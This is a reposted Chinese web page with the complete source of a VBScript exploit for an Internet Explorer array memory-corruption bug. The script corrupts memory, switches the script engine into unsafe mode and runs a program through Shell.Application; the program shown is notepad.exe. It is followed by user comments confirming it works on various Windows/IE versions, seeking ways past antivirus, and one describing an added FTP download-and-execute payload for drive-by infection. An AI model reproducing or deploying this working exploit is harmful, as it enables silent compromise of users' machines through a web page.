alliedve.htm

//*
   allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
   https://twitter.com/yuange75
   http://hi.baidu.com/yuange1975
*//

<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>

<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
</script>

<SCRIPT LANGUAGE="VBScript">

dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
     exit   function
  end if

  win9x=0

  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()
     else
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)
       Create=True
       Exit For
    End If
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     mydata=aa(a1)

     redim  Preserve aa(a0)
end function

function setnotsafemode()
    On Error Resume Next
    i=mydata()
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
            j=0
            redim  Preserve aa(a2)
            aa(a1+2)(i+&h11c+k)=ab(4)
            redim  Preserve aa(a0)
            j=0
            j=readmemo(i+&h120+k)
            Exit for
        end if
    next
    ab(2)=1.69759663316747E-313
    runmumaa()
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim Preserve aa(a0)
    redim ab(a0)
    redim Preserve aa(a2)

    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then
                 If(IsObject(aa(a1)) = False ) Then
                   type1=VarType(aa(a1))
                 end if
              end if
           else
             redim  Preserve aa(a0)
             exit  function
           end if
        else
           if(vartype(aa(a1-1))<>0)  Then
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if
            end if
        end if
    end if

    If(type1=&h2f66) Then
          Over=True
    End If
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If

    redim  Preserve aa(a0)
end function

function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2)

    ab(0)=0
    aa(a1)=add+4
    ab(0)=1.69759663316747E-313
    ReadMemo=lenb(aa(a1))

    ab(0)=0

    redim  Preserve aa(a0)
end function

</script>

</body>
</html>

出自:http://hi.baidu.com/yuange1975/item/c846a94d76fe00a861d7b900

留言评论(旧系统):

RainShine @ 2014-11-13 13:05:58

哦妈妈咪呀……

本站回复:

-_-|||

whale @ 2014-11-13 15:03:30

亲测有效,大挂马时代即将来临

本站回复:

+1

佚名 @ 2014-11-13 16:12:26

简直无情!

本站回复:

-_-|||

sjenezana @ 2014-11-13 20:23:04

win95+ie3-win10+ie11是指win95+ie3或win10+ie11,只要IE版本对应,用其他windows的环境行么?我的是IE11.014好像无法实现。。

本站回复:

是指:从“win95”到“Win10”,IE版本从“3.0”到“11.0”都有效。

五折 @ 2014-11-14 09:18:49

IE11+win8.1测试成功~!!!!

本站回复:

+1

哇哈哈 @ 2014-11-14 15:45:36

刚刚突然就不行了尼玛,为啥。而且XPsp2+IE6,会弹出一个框,让你选择使用哪个账户运行,效果不好。

本站回复:

目前来说很不错了。

alert @ 2014-11-14 16:45:03

[暂无评论]

本站回复:

[暂无回复]

佚名 @ 2014-11-15 11:50:07

win7+IE9 无效

本站回复:

win7+IE9 x32 亲测有效

佚名 @ 2014-11-16 11:48:14

http://www.cmd58.com/ 核总都友情链接到私服了

本站回复:

这个域名连接做了好几年了,估计对方域名到期不做了,然后被开私服的抢注了~ 友情链接已撤,感谢提醒!

RainShine @ 2014-11-16 16:52:09

就是那个VB技巧……我早就发现了……

本站回复:

这个域名连接做了好几年了,估计对方域名到期不做了,然后被开私服的抢注了~ 友情链接已撤,感谢提醒!

佚名 @ 2014-11-17 11:45:50

都比,都这样服务器不都被恶意占领了么?

本站回复:

和服务器有什么关系?

佚名 @ 2014-11-21 12:14:54

不能贴图啊 被360拦截了卧槽 如何突破啊!!!

本站回复:

这个还会被拦截?关键词过滤吧~

佚名 @ 2014-11-21 20:17:15

测试有效 已经做好FTP下载执行,,, 嘿嘿效果刚刚的

本站回复:

-_-|||

孔子 @ 2014-11-30 18:13:39

被360拦截了怎么办

本站回复:

凉拌

Mickey @ 2014-12-05 05:05:55

win10 x64 9879 IE11测试无反应

本站回复:

x64 无效。